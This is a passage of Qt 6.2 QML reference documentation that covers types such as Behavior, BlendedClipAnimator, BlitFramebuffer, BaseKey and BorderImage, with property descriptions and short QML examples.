 ###  doubleClicked([int](qml-int) *index*)

 This signal is emitted when the user double-clicks the bar specified by *index* in a bar set.

 The corresponding signal handler is `onDoubleClicked`.

 ###  pressed([int](qml-int) *index*)

 This signal is emitted when the user clicks the bar specified by *index* in a bar set and holds down the mouse button.

 The corresponding signal handler is `onPressed`.

 ###  released([int](qml-int) *index*)

 This signal is emitted when the user releases the mouse press on the bar specified by *index* in a bar set.

 The corresponding signal handler is `onReleased`.

 ###  remove([int](qml-int) *index*, [int](qml-int) *count*)

 Removes the number of values specified by *count* from the bar set starting with the value specified by *index*.

 If you leave out *count*, only the value specified by *index* is removed.

 ###  replace([int](qml-int) *index*, [real](qml-real) *value*)

 Adds the value specified by *value* to the bar set at the position specified by *index*.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-barset.html>

Behavior QML Type
=================

 Defines a default animation for a property change. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-behavior-members.html)

 Properties
----------

 * **[animation](qml-qtquick-behavior#animation-prop)** : Animation
* **[enabled](qml-qtquick-behavior#enabled-prop)** : bool
* **[targetProperty](qml-qtquick-behavior#targetProperty-prop)**
	+ **[targetProperty.name](qml-qtquick-behavior#targetProperty.name-prop)** : string
	+ **[targetProperty.object](qml-qtquick-behavior#targetProperty.object-prop)** : Object
* **[targetValue](qml-qtquick-behavior#targetValue-prop)** : Variant

 Detailed Description
--------------------

 A Behavior defines the default animation to be applied whenever a particular property value changes.

 For example, the following Behavior defines a [NumberAnimation](qml-qtquick-numberanimation) to be run whenever the [Rectangle](qml-qtquick-rectangle)'s `width` value changes. When the [MouseArea](qml-qtquick-mousearea) is clicked, the `width` is changed, triggering the behavior's animation:

 
```
import QtQuick 2.0

Rectangle {
    id: rect
    width: 100; height: 100
    color: "red"

    Behavior on width {
        NumberAnimation { duration: 1000 }
    }

    MouseArea {
        anchors.fill: parent
        onClicked: rect.width = 50
    }
}
```
 Note that a property cannot have more than one assigned Behavior. To provide multiple animations within a Behavior, use [ParallelAnimation](qml-qtquick-parallelanimation) or [SequentialAnimation](qml-qtquick-sequentialanimation).

 If a [state change](qtquick-statesanimations-states) has a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) that matches the same property as a Behavior, the [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) animation overrides the Behavior for that state change. For general advice on using Behaviors to animate state changes, see [Using Qt Quick Behaviors with States](qtquick-statesanimations-behaviors).

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations), [Behavior example](https://doc.qt.io/qt-6.2/qtquick-animation-example.html#behaviors), and [Qt QML](qtqml-index).

 Property Documentation
----------------------

 ###  [default] animation : [Animation](qml-qtquick-animation)

 This property holds the animation to run when the behavior is triggered.

 ###  enabled : [bool](qml-bool)

 This property holds whether the behavior will be triggered when the tracked property changes value.

 By default a Behavior is enabled.

 ###  [read-only, since QtQuick 2.15] targetProperty.name : [string](qml-string)

 

| Property | Description |
| --- | --- |
| name | This property holds the name of the property being controlled by this Behavior. |
| object | This property holds the object of the property being controlled by this Behavior. |

 This property can be used to define custom behaviors based on the name or the object of the property being controlled.

 The following example defines a Behavior fading out and fading in its target object when the property it controls changes:

 
```
// FadeBehavior.qml
import QtQuick 2.15

Behavior {
    id: root
    property Item fadeTarget: targetProperty.object
    SequentialAnimation {
        NumberAnimation {
            target: root.fadeTarget
            property: "opacity"
            to: 0
            easing.type: Easing.InQuad
        }
        PropertyAction { } // actually change the controlled property between the 2 other animations
        NumberAnimation {
            target: root.fadeTarget
            property: "opacity"
            to: 1
            easing.type: Easing.OutQuad
        }
    }
}
```
 This can be used to animate a text when it changes:

 
```
import QtQuick 2.15

Text {
    id: root
    property int counter
    text: counter
    FadeBehavior on text {}
    Timer {
        running: true
        repeat: true
        interval: 1000
        onTriggered: ++root.counter
    }
}
```
 This QML property was introduced in QtQuick 2.15.

 ###  [since QtQuick 2.13] targetValue : Variant

 This property holds the target value of the property being controlled by the Behavior. This value is set by the Behavior before the animation is started.

 This property was introduced in QtQuick 2.13.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-behavior.html>

BlendedClipAnimator QML Type
============================

 BlendedClipAnimator is a component providing animation playback capabilities of a tree of blend nodes. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QBlendedClipAnimator](qt3danimation-qblendedclipanimator) |
|  Inherits: | [AbstractClipAnimator](qml-qt3d-animation-abstractclipanimator) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-blendedclipanimator-members.html)

 Properties
----------

 * **[blendTree](qml-qt3d-animation-blendedclipanimator#blendTree-prop)** : AbstractClipBlendNode

 Detailed Description
--------------------

 An instance of BlendedClipAnimator can be aggregated by an Entity to add the ability to play back animation clips and to apply the calculated animation values to properties of QObjects.

 Whereas a [ClipAnimator](qml-qt3d-animation-clipanimator) gets its animation data from a single animation clip, BlendedClipAnimator can blend together multiple clips. The animation data is obtained by evaluating a so called *blend tree*. A blend tree is a hierarchical tree structure where the leaf nodes are value nodes that encapsulate an animation clip (AbstractAnimationClip); and the internal nodes represent blending operations that operate on the nodes pointed to by their operand properties.

 To associate a blend tree with a BlendedClipAnimator, set the animator's [blendTree](qml-qt3d-animation-blendedclipanimator#blendTree-prop) property to point at the root node of your blend tree:

 
```
BlendedClipAnimator {
    blendTree: AdditiveClipBlend {
        ....
    }
}
```
 A blend tree can be constructed from the following node types:

  **Note:** The blend node tree should only be edited when the animator is not running.

  * Qt3D.Animation.[ClipBlendValue](qml-qt3d-animation-clipblendvalue)
* Qt3D.Animation.[LerpClipBlend](qml-qt3d-animation-lerpclipblend)
* Qt3D.Animation.[AdditiveClipBlend](qml-qt3d-animation-additiveclipblend)

 Additional node types will be added over time.

 As an example consider the following blend tree:

 
```
Clip0----
        |
        Lerp Node----
        |           |
Clip1----           Additive Node
                    |
            Clip2----
```
 This can be created and used as follows:

 
```
BlendedClipAnimator {
    blendTree: AdditiveClipBlend {
        baseClip: LerpClipBlend {
            startClip: ClipBlendValue {
                clip: AnimationClipLoader { source: "walk.json" }
            }

            endClip: ClipBlendValue {
                clip: AnimationClipLoader { source: "run.json" }
            }
        }

        additiveClip: ClipBlendValue {
            clip: AnimationClipLoader { source: "wave-arm.json" }
        }
    }

    channelMapper: ChannelMapper {...}
    running: true
}
```
 By authoring a set of animation clips and blending between them dynamically at runtime with a blend tree, we open up a huge set of possible resulting animations. As some simple examples of the above blend tree, where alpha is the additive factor and beta is the lerp blend factor we can get a 2D continuum of possible animations:

 
```
(alpha = 0, beta = 1) Running, No arm waving --- (alpha = 1, beta = 1) Running, Arm waving
        |                                               |
        |                                               |
        |                                               |
(alpha = 0, beta = 0) Walking, No arm waving --- (alpha = 0, beta = 1) Running, No arm waving
```
 More complex blend trees offer even more flexibility for combining your animation clips. Note that the values used to control the blend tree (alpha and beta above) are simple properties on the blend nodes. This means, that these properties themselves can also be controlled by the animation framework.

 Property Documentation
----------------------

 ###  blendTree : [AbstractClipBlendNode](qml-qt3d-animation-abstractclipblendnode)

 This property holds the root of the animation blend tree that will be evaluated before being interpolated by the animator.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-blendedclipanimator.html>

BlendEquation QML Type
======================

 The BlendEquation class specifies the equation used for both the RGB blend equation and the Alpha blend equation. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QBlendEquation](qt3drender-qblendequation) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-blendequation-members.html)

 Properties
----------

 * **[blendFunction](qml-qt3d-render-blendequation#blendFunction-prop)** : enumeration

 Detailed Description
--------------------

 The blend equation is used to determine how a new pixel is combined with a pixel already in the framebuffer.

 Property Documentation
----------------------

 ###  blendFunction : [enumeration](qml-enumeration)

 Holds the blend function, which determines how source and destination colors are combined.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-blendequation.html>

BlendEquationArguments QML Type
===============================

 Encapsulates blending information: specifies how the incoming values (what's going to be drawn) are going to affect the existing values (what is already drawn). [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QBlendEquationArguments](qt3drender-qblendequationarguments) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-blendequationarguments-members.html)

 Properties
----------

 * **[DestinationAlpha](qml-qt3d-render-blendequationarguments#DestinationAlpha-prop)** : enumeration
* **[bufferIndex](qml-qt3d-render-blendequationarguments#bufferIndex-prop)** : int
* **[destinationRgb](qml-qt3d-render-blendequationarguments#destinationRgb-prop)** : enumeration
* **[sourceAlpha](qml-qt3d-render-blendequationarguments#sourceAlpha-prop)** : enumeration
* **[sourceRgb](qml-qt3d-render-blendequationarguments#sourceRgb-prop)** : enumeration

 Detailed Description
--------------------

 OpenGL pre-3.0: Set the same blend state for all draw buffers OpenGL 3.0-pre4.0: Set the same blend state for all draw buffers, but can disable blending for particular buffers OpenGL 4.0+: Can set blend state individually for each draw buffer.

 Property Documentation
----------------------

 ###  DestinationAlpha : [enumeration](qml-enumeration)

 ###  bufferIndex : [int](qml-int)

 Specifies the index of the Draw Buffer that this [BlendEquationArguments](qml-qt3d-render-blendequationarguments) applies to. If negative, this will apply to all Draw Buffers.

 ###  destinationRgb : [enumeration](qml-enumeration)

 ###  sourceAlpha : [enumeration](qml-enumeration)

 ###  sourceRgb : [enumeration](qml-enumeration)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-blendequationarguments.html>

BlitFramebuffer QML Type
========================

 FrameGraph node to transfer a rectangle of pixel values from one region of a render target to another. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.10 |
|  Instantiates: | [QBlitFramebuffer](qt3drender-qblitframebuffer) |
|  Inherits: | [FrameGraphNode](qml-qt3d-render-framegraphnode) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-blitframebuffer-members.html)

 Properties
----------

 * **[destination](qml-qt3d-render-blitframebuffer#destination-prop)** : RenderTarget
* **[destinationAttachmentPoint](qml-qt3d-render-blitframebuffer#destinationAttachmentPoint-prop)** : RenderTargetOutput.AttachmentPoint
* **[destinationRect](qml-qt3d-render-blitframebuffer#destinationRect-prop)** : Rect
* **[interpolationMethod](qml-qt3d-render-blitframebuffer#interpolationMethod-prop)** : InterpolationMethod
* **[source](qml-qt3d-render-blitframebuffer#source-prop)** : RenderTarget
* **[sourceAttachmentPoint](qml-qt3d-render-blitframebuffer#sourceAttachmentPoint-prop)** : RenderTargetOutput.AttachmentPoint
* **[sourceRect](qml-qt3d-render-blitframebuffer#sourceRect-prop)** : Rect

 Detailed Description
--------------------

 This node inserts a `glBlitFrameBuffer` or an equivalent into the command stream. This provides a more efficient method for copying rectangles between textures or surface backbuffers wrapped by QRenderTarget than drawing textured quads. It also supports scaling with the specified interpolation method.

  **Note:** In practice the BlitFramebuffer node will often be used in combination with [NoDraw](qml-qt3d-render-nodraw) since a blit should not involve issuing draw calls for any entities.

  Property Documentation
----------------------

 ###  destination : [RenderTarget](qml-qt3d-render-rendertarget)

 Specifies the destination render target. When not set, the destination is assumed to be the default framebuffer (i.e. the backbuffer of the current surface), if there is one.

  **Note:** the source and destination must not refer to the same render target.

  ###  destinationAttachmentPoint : [RenderTargetOutput](qml-qt3d-render-rendertargetoutput).AttachmentPoint

 Specifies the source attachment point. Defaults to [RenderTargetOutput](qml-qt3d-render-rendertargetoutput).AttachmentPoint.Color0.

 ###  destinationRect : Rect

 Specifies the destination rectangle. The coordinates are assumed to follow the normal Qt coordinate system, meaning Y runs from top to bottom.

 ###  interpolationMethod : InterpolationMethod

 Specifies the interpolation applied if the image is stretched. Defaults to Linear.

 ###  source : [RenderTarget](qml-qt3d-render-rendertarget)

 Specifies the source render target. When not set, the source is assumed to be the default framebuffer (i.e. the backbuffer of the current surface), if there is one.

  **Note:** the source and destination must not refer to the same render target.

  ###  sourceAttachmentPoint : [RenderTargetOutput](qml-qt3d-render-rendertargetoutput).AttachmentPoint

 Specifies the source attachment point. Defaults to [RenderTargetOutput](qml-qt3d-render-rendertargetoutput).AttachmentPoint.Color0.

 ###  sourceRect : Rect

 Specifies the source rectangle. The coordinates are assumed to follow the normal Qt coordinate system, meaning Y runs from top to bottom.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-blitframebuffer.html>

Blur QML Type
=============

 A one-pass blur effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-blur-members.html)

 Properties
----------

 * **[amount](qml-qtquick3d-effects-blur#amount-prop)** : real

 Detailed Description
--------------------

 ![]


This effect provides a simple one-pass blur. It is less expensive than [GaussianBlur](qml-qtquick3d-effects-gaussianblur), but does not give the same quality result.

 Property Documentation
----------------------

 ###  amount : [real](qml-real)

 The strength of the blur. Sensible values are in the range `[0...0.01]`. The default value is `0.01`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-blur.html>

BaseKey QML Type
================

 Common parent for all key types. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.VirtualKeyboard |
|  Inherits: | [Item](qml-qtquick-item) |
|  Inherited By: | [BackspaceKey](qml-qtquick-virtualkeyboard-backspacekey), [ChangeLanguageKey](qml-qtquick-virtualkeyboard-changelanguagekey), [EnterKey](qml-qtquick-virtualkeyboard-enterkey), [FillerKey](qml-qtquick-virtualkeyboard-fillerkey), [HideKeyboardKey](qml-qtquick-virtualkeyboard-hidekeyboardkey), [Key](qml-qtquick-virtualkeyboard-key), and [ShiftKey](qml-qtquick-virtualkeyboard-shiftkey) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-basekey-members.html)

 Properties
----------

 * **[active](qml-qtquick-virtualkeyboard-basekey#active-prop)** : bool
* **[alternativeKeys](qml-qtquick-virtualkeyboard-basekey#alternativeKeys-prop)** : var
* **[displayAlternativeKeys](qml-qtquick-virtualkeyboard-basekey#displayAlternativeKeys-prop)** : var
* **[displayText](qml-qtquick-virtualkeyboard-basekey#displayText-prop)** : string
* **[effectiveAlternativeKeys](qml-qtquick-virtualkeyboard-basekey#effectiveAlternativeKeys-prop)** : var
* **[effectiveAlternativeKeysHighlightIndex](qml-qtquick-virtualkeyboard-basekey#effectiveAlternativeKeysHighlightIndex-prop)** : int
* **[functionKey](qml-qtquick-virtualkeyboard-basekey#functionKey-prop)** : bool
* **[highlighted](qml-qtquick-virtualkeyboard-basekey#highlighted-prop)** : bool
* **[key](qml-qtquick-virtualkeyboard-basekey#key-prop)** : int
* **[keyPanelDelegate](qml-qtquick-virtualkeyboard-basekey#keyPanelDelegate-prop)** : alias
* **[keyType](qml-qtquick-virtualkeyboard-basekey#keyType-prop)** : int
* **[noKeyEvent](qml-qtquick-virtualkeyboard-basekey#noKeyEvent-prop)** : bool
* **[noModifier](qml-qtquick-virtualkeyboard-basekey#noModifier-prop)** : bool
* **[pressed](qml-qtquick-virtualkeyboard-basekey#pressed-prop)** : bool
* **[repeat](qml-qtquick-virtualkeyboard-basekey#repeat-prop)** : bool
* **[showPreview](qml-qtquick-virtualkeyboard-basekey#showPreview-prop)** : bool
* **[smallText](qml-qtquick-virtualkeyboard-basekey#smallText-prop)** : string
* **[smallTextVisible](qml-qtquick-virtualkeyboard-basekey#smallTextVisible-prop)** : bool
* **[soundEffect](qml-qtquick-virtualkeyboard-basekey#soundEffect-prop)** : url
* **[text](qml-qtquick-virtualkeyboard-basekey#text-prop)** : string
* **[uppercased](qml-qtquick-virtualkeyboard-basekey#uppercased-prop)** : bool
* **[weight](qml-qtquick-virtualkeyboard-basekey#weight-prop)** : real

 Signals
-------

 * **[clicked](qml-qtquick-virtualkeyboard-basekey#clicked-signal)**()

 Detailed Description
--------------------

 BaseKey is a common type for all keys in keyboard layout.

 This type should not be used directly in the layouts. The specialized key types, such as Key or [EnterKey](qml-qtquick-virtualkeyboard-enterkey) should be used instead.

 Property Documentation
----------------------

 ###  active : [bool](qml-bool)

 This property holds the active status of the key.

 This property is automatically set to true when the key is pressed.

 ###  alternativeKeys : [var](qml-var)

 Sets the list of alternative keys.

 This property can be set to a string, or a list of strings. If the value is a string, the alternative keys are presented as individual characters of that string. If the value is a list of strings, the list is used instead.

 The alternative keys are presented to the user by pressing and holding a key with this property set.

  **Note:** If the alternative keys contains the key `text`, it will be filtered from the `effectiveAlternativeKeys` and its position will be used as an indicator for the highlighted item instead.

  The default is empty list.

 ###  [since QtQuick.VirtualKeyboard 6.2] displayAlternativeKeys : [var](qml-var)

 This property allows overriding the list of key strings presented to the user in the alternative keys view.

 This property was introduced in QtQuick.VirtualKeyboard 6.2.

 ###  displayText : [string](qml-string)

 Sets the display text.

 This string is rendered in the keyboard layout.

 The default value is the key text.

 ###  [read-only, since QtQuick.VirtualKeyboard 2.0] effectiveAlternativeKeys : [var](qml-var)

 This property contains the effective alternative keys presented to user.

 The list is contains the items in the `alternativeKeys` excluding the `text` item.

 This property was introduced in QtQuick.VirtualKeyboard 2.0.

 ###  [read-only, since QtQuick.VirtualKeyboard 2.0] effectiveAlternativeKeysHighlightIndex : [int](qml-int)

 This property contains the index of highlighted item in the `effectiveAlternativeKeys`.

 The index is calculated from the index of the key `text` in the `alternativeKeys`.

 For example, if the alternative keys contains "çcċčć" and the key `text` is "c", this index will become 1 and the effective alternative keys presented to user will be "ç[ċ]čć".

 This property was introduced in QtQuick.VirtualKeyboard 2.0.

 ###  functionKey : [bool](qml-bool)

 Sets the function key attribute.

 The default is false.

 ###  highlighted : [bool](qml-bool)

 Sets the highlighted status of the key.

 The default is false.

 ###  key : [int](qml-int)

 Sets the key code for input method processing.

 The default is Qt.Key\_unknown.

 ###  keyPanelDelegate : alias

 Sets the key panel delegate for the key.

 This property is essential for key decoration. Without a key panel delegate, the key is invisible. This property should be assigned in the inherited key type.

 ###  [since QtQuick.VirtualKeyboard 6.1] keyType : [int](qml-int)

 Type of the key.

 * `QtVirtualKeyboard.BaseKey`
* `QtVirtualKeyboard.BackspaceKey`
* `QtVirtualKeyboard.ChangeLanguageKey`
* `QtVirtualKeyboard.EnterKey`
* `QtVirtualKeyboard.FillerKey`
* `QtVirtualKeyboard.HandwritingModeKey`
* `QtVirtualKeyboard.HideKeyboardKey`
* `QtVirtualKeyboard.InputModeKey`
* `QtVirtualKeyboard.Key`
* `QtVirtualKeyboard.ModeKey`
* `QtVirtualKeyboard.NumberKey`
* `QtVirtualKeyboard.ShiftKey`
* `QtVirtualKeyboard.SpaceKey`
* `QtVirtualKeyboard.SymbolModeKey`
* `QtVirtualKeyboard.FlickKey`

 This property was introduced in QtQuick.VirtualKeyboard 6.1.

 ###  [since QtQuick.VirtualKeyboard 1.3] noKeyEvent : [bool](qml-bool)

 This property controls whether the key emits key events for input method processing. When true, the key events are disabled.

 By default, the key event is emitted if the *key* is not unknown or the *text* is not empty.

 This property was introduced in QtQuick.VirtualKeyboard 1.3.

 ###  [since QtQuick.VirtualKeyboard 1.3] noModifier : [bool](qml-bool)

 Disables key modifiers on the emitted key.

 The default is false.

 This property was introduced in QtQuick.VirtualKeyboard 1.3.

 ###  pressed : [bool](qml-bool)

 This property holds the pressed status of the key.

 The pressed status can only be true if the key is both enabled and active. When the key state becomes pressed, it triggers a key down event for the input engine. A key up event is triggered when the key is released.

 ###  repeat : [bool](qml-bool)

 Sets the key repeat attribute.

 If the repeat is enabled, the key will repeat the input events while held down. The repeat should not be used if [alternativeKeys](qml-qtquick-virtualkeyboard-basekey#alternativeKeys-prop) is also set.

 The default is false.

 ###  showPreview : [bool](qml-bool)

 Sets the show preview attribute.

 By default, the character preview popup is not shown for function keys.

 ###  [since QtQuick.VirtualKeyboard 2.0] smallText : [string](qml-string)

 Sets the small text rendered in the corner of the key.

 The default value based on the default item in the effective alternative keys.

 This property was introduced in QtQuick.VirtualKeyboard 2.0.

 ###  [since QtQuick.VirtualKeyboard 2.0] smallTextVisible : [bool](qml-bool)

 Sets the visibility of small text.

 The default value is inherited from the parent.

 This property was introduced in QtQuick.VirtualKeyboard 2.0.

 ###  [read-only, since QtQuick.VirtualKeyboard 1.1] soundEffect : [url](qml-url)

 This property holds the sound effect to be played on key press.

 This property is read-only since the sound effects are defined in the keyboard style.

 This property was introduced in QtQuick.VirtualKeyboard 1.1.

 ###  text : [string](qml-string)

 Sets the key text for input method processing.

 In most cases, this is the Unicode representation of the key code.

 The default value is an empty string.

 ###  uppercased : [bool](qml-bool)

 This property holds the uppercase status of the key.

 By default, this property reflects the uppercase status of the keyboard.

 ###  weight : [real](qml-real)

 Sets the key weight value which determines the relative size of the key.

 Use this property to change the key size in the layout.

 The default value is inherited from the parent element of the key in the layout hierarchy.

 Signal Documentation
--------------------

 ###  clicked()

 This signal is triggered when the key is pressed, allowing custom processing of key.

 **Note:** The corresponding handler is `onClicked`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-basekey.html>

BorderImage QML Type
====================

 Paints a border based on an image. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-borderimage-members.html)

 Properties
----------

 * **[asynchronous](qml-qtquick-borderimage#asynchronous-prop)** : bool
* **[border](qml-qtquick-borderimage#border-prop)**
	+ **[border.bottom](qml-qtquick-borderimage#border.bottom-prop)** : int
	+ **[border.left](qml-qtquick-borderimage#border.left-prop)** : int
	+ **[border.right](qml-qtquick-borderimage#border.right-prop)** : int
	+ **[border.top](qml-qtquick-borderimage#border.top-prop)** : int
* **[cache](qml-qtquick-borderimage#cache-prop)** : bool
* **[currentFrame](qml-qtquick-borderimage#currentFrame-prop)** : int
* **[frameCount](qml-qtquick-borderimage#frameCount-prop)** : int
* **[horizontalTileMode](qml-qtquick-borderimage#horizontalTileMode-prop)** : enumeration
* **[mirror](qml-qtquick-borderimage#mirror-prop)** : bool
* **[progress](qml-qtquick-borderimage#progress-prop)** : real
* **[smooth](qml-qtquick-borderimage#smooth-prop)** : bool
* **[source](qml-qtquick-borderimage#source-prop)** : url
* **[sourceSize](qml-qtquick-borderimage#sourceSize-prop)** : QSize
* **[status](qml-qtquick-borderimage#status-prop)** : enumeration
* **[verticalTileMode](qml-qtquick-borderimage#verticalTileMode-prop)** : enumeration

 Detailed Description
--------------------

 The BorderImage type is used to create borders out of images by scaling or tiling parts of each image.

 A BorderImage breaks a source image, specified using the [source](qml-qtquick-borderimage#source-prop) property, into 9 regions, as shown below:

 ![]


When the image is scaled, regions of the source image are scaled or tiled to create the displayed border image in the following way:

 * The corners (regions 1, 3, 7, and 9) are not scaled at all.
* Regions 2 and 8 are scaled according to [horizontalTileMode](qml-qtquick-borderimage#horizontalTileMode-prop).
* Regions 4 and 6 are scaled according to [verticalTileMode](qml-qtquick-borderimage#verticalTileMode-prop).
* The middle (region 5) is scaled according to both [horizontalTileMode](qml-qtquick-borderimage#horizontalTileMode-prop) and [verticalTileMode](qml-qtquick-borderimage#verticalTileMode-prop).

 The regions of the image are defined using the [border](qml-qtquick-borderimage#border-prop) property group, which describes the distance from each edge of the source image to use as a border.

 Example Usage
-------------

 The following examples show the effects of the different modes on an image. Guide lines are overlaid onto the image to show the different regions of the image as described above.

 ![]


An unscaled image is displayed using an Image. The [border](qml-qtquick-borderimage#border-prop) property is used to determine the parts of the image that will lie inside the unscaled corner areas and the parts that will be stretched horizontally and vertically.

 
```
Image {
    source: "pics/borderframe.png"
}
```
 ![]


A BorderImage is used to display the image, and it is given a size that is larger than the original image. Since the [horizontalTileMode](qml-qtquick-borderimage#horizontalTileMode-prop) property is set to [BorderImage.Stretch](qml-qtquick-borderimage#horizontalTileMode-prop), the parts of image in regions 2 and 8 are stretched horizontally. Since the [verticalTileMode](qml-qtquick-borderimage#verticalTileMode-prop) property is set to [BorderImage.Stretch](qml-qtquick-borderimage#verticalTileMode-prop), the parts of image in regions 4 and 6 are stretched vertically.

 
```
BorderImage {
    width: 180; height: 180
    border { left: 30; top: 30; right: 30; bottom: 30 }
    horizontalTileMode: BorderImage.Stretch
    verticalTileMode: BorderImage.Stretch
    source: "pics/borderframe.png"
}
```
 ![]


Again, a large BorderImage is used to display the image. With the [horizontalTileMode](qml-qtquick-borderimage#horizontalTileMode-prop) property set to [BorderImage.Repeat](qml-qtquick-borderimage#horizontalTileMode-prop), the parts of image in regions 2 and 8 are tiled so that they fill the space at the top and bottom of the item. Similarly, the [verticalTileMode](qml-qtquick-borderimage#verticalTileMode-prop) property is set to [BorderImage.Repeat](qml-qtquick-borderimage#verticalTileMode-prop), the parts of image in regions 4 and 6 are tiled so that they fill the space at the left and right of the item.

 
```
BorderImage {
    width: 180; height: 180
    border { left: 30; top: 30; right: 30; bottom: 30 }
    horizontalTileMode: BorderImage.Repeat
    verticalTileMode: BorderImage.Repeat
    source: "pics/borderframe.png"
}
```
 In some situations, the width of regions 2 and 8 may not be an exact multiple of the width of the corresponding regions in the source image. Similarly, the height of regions 4 and 6 may not be an exact multiple of the height of the corresponding regions. It can be useful to use [BorderImage.Round](qml-qtquick-borderimage#horizontalTileMode-prop) instead of [BorderImage.Repeat](qml-qtquick-borderimage#horizontalTileMode-prop) in cases like these.

 The Border Image example in [Qt Quick Examples - Image Elements](https://doc.qt.io/qt-6.2/qtquick-imageelements-example.html) shows how a BorderImage can be used to simulate a shadow effect on a rectangular item.

 Image Loading
-------------

 The source image may not be loaded instantaneously, depending on its original location. Loading progress can be monitored with the [progress](qml-qtquick-borderimage#progress-prop) property.

 **See also** [Image](qml-qtquick-image) and [AnimatedImage](qml-qtquick-animatedimage).

 Property Documentation
----------------------

  ###  [since 5.14] currentFrame : [int](qml-int)

 
[currentFrame](qml-qtquick-borderimage#currentFrame-prop) is the frame that is currently visible. The default is `0`. You can set it to a number between `0` and `frameCount - 1` to display a different frame, if the image contains multiple frames.

 [frameCount](qml-qtquick-borderimage#frameCount-prop) is the number of frames in the image. Most images have only one frame.

 This QML property was introduced in Qt 5.14.

  ###  horizontalTileMode : [enumeration](qml-enumeration)

 
This property describes how to repeat or stretch the middle parts of the border image.

 * [BorderImage](qml-qtquick-borderimage).Stretch - Scales the image to fit to the available area.
* [BorderImage](qml-qtquick-borderimage).Repeat - Tile the image until there is no more space. May crop the last image.
* [BorderImage](qml-qtquick-borderimage).Round - Like Repeat, but scales the images down to ensure that the last image is not cropped.

 The default tile mode for each property is [BorderImage](qml-qtquick-borderimage).Stretch.

 ###  asynchronous : [bool](qml-bool)

 Specifies that images on the local filesystem should be loaded asynchronously in a separate thread. The default value is false, causing the user interface thread to block while the image is loaded. Setting *asynchronous* to true is useful where maintaining a responsive user interface is more desirable than having images immediately visible.

 Note that this property is only valid for images read from the local filesystem. Images loaded via a network resource (e.g. HTTP) are always loaded asynchronously.

 ###  border.bottom : [int](qml-int)

 The 4 border lines (2 horizontal and 2 vertical) break the image into 9 sections, as shown below:

 ![]


Each border line (left, right, top, and bottom) specifies an offset in pixels from the respective edge of the source image. By default, each border line has a value of 0.

 For example, the following definition sets the bottom line 10 pixels up from the bottom of the image:

 
```
BorderImage {
    border.bottom: 10
    // ...
}
```
 The border lines can also be specified using a [.sci file](qml-qtquick-borderimage#source-prop).

 ###  cache : [bool](qml-bool)

 Specifies whether the image should be cached. The default value is true. Setting *cache* to false is useful when dealing with large images, to make sure that they aren't cached at the expense of small 'ui element' images.

 ###  mirror : [bool](qml-bool)

 This property holds whether the image should be horizontally inverted (effectively displaying a mirrored image).

 The default value is false.

 ###  progress : [real](qml-real)

 This property holds the progress of image loading, from 0.0 (nothing loaded) to 1.0 (finished).

 **See also** [status](qml-qtquick-borderimage#status-prop).

 ###  smooth : [bool](qml-bool)

 This property holds whether the image is smoothly filtered when scaled or transformed. Smooth filtering gives better visual quality, but it may be slower on some hardware. If the image is displayed at its natural size, this property has no visual or performance effect.

 By default, this property is set to true.

 ###  source : [url](qml-url)

 This property holds the URL that refers to the source image.

 [BorderImage](qml-qtquick-borderimage) can handle any image format supported by Qt, loaded from any URL scheme supported by Qt.

 This property can also be used to refer to .sci files, which are written in a QML-specific, text-based format that specifies the borders, the image file and the tile rules for a given border image.

 The following .sci file sets the borders to 10 on each side for the image `picture.png`:

 
```
border.left: 10
border.top: 10
border.bottom: 10
border.right: 10
source: "picture.png"
```
 The URL may be absolute, or relative to the URL of the component.

 **See also** [QQuickImageProvider](qquickimageprovider).

 ###  sourceSize : QSize

 This property holds the actual width and height of the loaded image.

 In [BorderImage](qml-qtquick-borderimage), this property is read-only.

